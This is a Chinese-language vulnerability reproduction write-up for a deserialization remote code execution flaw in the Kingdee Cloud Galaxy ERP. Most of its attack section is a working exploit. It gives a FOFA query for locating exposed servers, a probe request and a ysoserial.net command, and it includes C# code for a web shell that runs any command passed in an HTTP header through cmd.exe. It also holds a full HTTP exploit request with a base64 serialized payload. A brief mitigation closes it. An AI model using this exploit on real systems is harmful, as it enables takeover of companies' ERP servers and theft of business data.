金蝶云星空RCE漏洞复现

0x01 产品简介

金蝶云星空是一款云端企业资源管理（ERP）软件，为企业提供财务管理、供应链管理以及业务流程管理等一体化解决方案。金蝶云·星空聚焦多组织，多利润中心的大中型企业，以 “开放、标准、社交”三大特性为数字经济时代的企业提供开放的 ERP 云平台。服务涵盖：财务、供应链、智能制造、阿米巴管理、全渠道营销、电商、HR、企业互联网服务，帮助企业实现数字化营销新生态及管理重构等，提升企业数字化能力。

0x02 漏洞概述

由于金蝶云星空数据通信默认采用的是二进制数据格式，需要进行序列化与反序列化，在此过程中未对数据进行签名或校验，导致客户端发出的数据可被攻击者恶意篡改，写入包含恶意代码的序列化数据，达到在服务端远程命令执行的效果。该漏洞不仅存在于金蝶云星空管理中心（默认8000端口），普通应用（默认80端口）也存在类似问题。

0x03 影响范围

6.x版本：低于6.2.1012.4

7.x版本：7.0.352.16 至 7.7.0.202111

8.x版本：8.0.0.202205 至 8.1.0.20221110

0x04 复现环境

FOFA：app="金蝶云星空-管理中心"

0x05 漏洞复现

简单的分析了一下漏洞，属于.net反序列化场景中的 BinaryFormatter反序列化，BinaryFormatter位于命名空间 System.Runtime.Serialization.Formatters.Binary它是直接用二进制方式把对象进行序列化，优点是速度较快，在不同版本的.NET平台里都可以兼容。但是使用反序列化不受信任的二进制文件会导致反序列化漏洞从而实现远程RCE攻击。

本次复现需要使用ysoserial.net工具构造恶意序列化数据实现RCE

工具地址：https://github.com/pwntester/ysoserial.net

PoC

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: your-ip
Content-Type: text/json

{"ap0":"asdas","format":"3"}

可以发现请求体ap0参数构造任意字符串发起请求时会出现序列化异常，这种情况则存在漏洞

使用 ysoserial.net工具构造Payload

 .\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

命令中 -f 指定的是.net程序中的序列化类，-g 是ysoserial.net工具中的攻击链，这里指定的是ActivitySurrogateSelectorFromFile链，这个攻击链可加载自定义的程序集。-c 是构造的程序集（a.cs），后面的dll文件是.NET Framework中的一个核心DLL文件，包含了一些相关的类和方法(自行加载，不需要构造)

编写一个从请求头中获取参数执行命令的ASP.NET 程序

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

PS：通过接收 HTTP请求中的 cmd 参数，将其作为命令行参数传递给 cmd.exe 进程，并获取其输出结果，最终将输出结果作为 HTTP 响应返回给客户端（需放到ysoserial.net工具目录下或指定绝对路径）

生成序列化数据，加载到PoC中

最终exp:

POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: your-ip
Content-Type: text/json
cmd: dir

{"ap0":"AAEAAAD/AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rp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利用成功

0x06 修复建议

临时缓解方案

8.x版本可通过手动添加安全配置并重启IIS的方式进行缓解，注意管理中心与普通应用配置文件均需添加：

# 普通应用配置：{WebROOT}\Kingdee\K3Cloud\WebSite\App_Data\Common.config
# 管理中心配置：{WebROOT}\Kingdee\K3Cloud\Services\ManagementService\App_Data\Common.config

EnabledKDSVCBinary = false

由于该漏洞不仅影响管理中心（默认8000端口），也影响普通应用（默认80端口）。如果其它版本通过限制访问来源临时缓解漏洞，需要考虑是否会中断普通用户Web业务。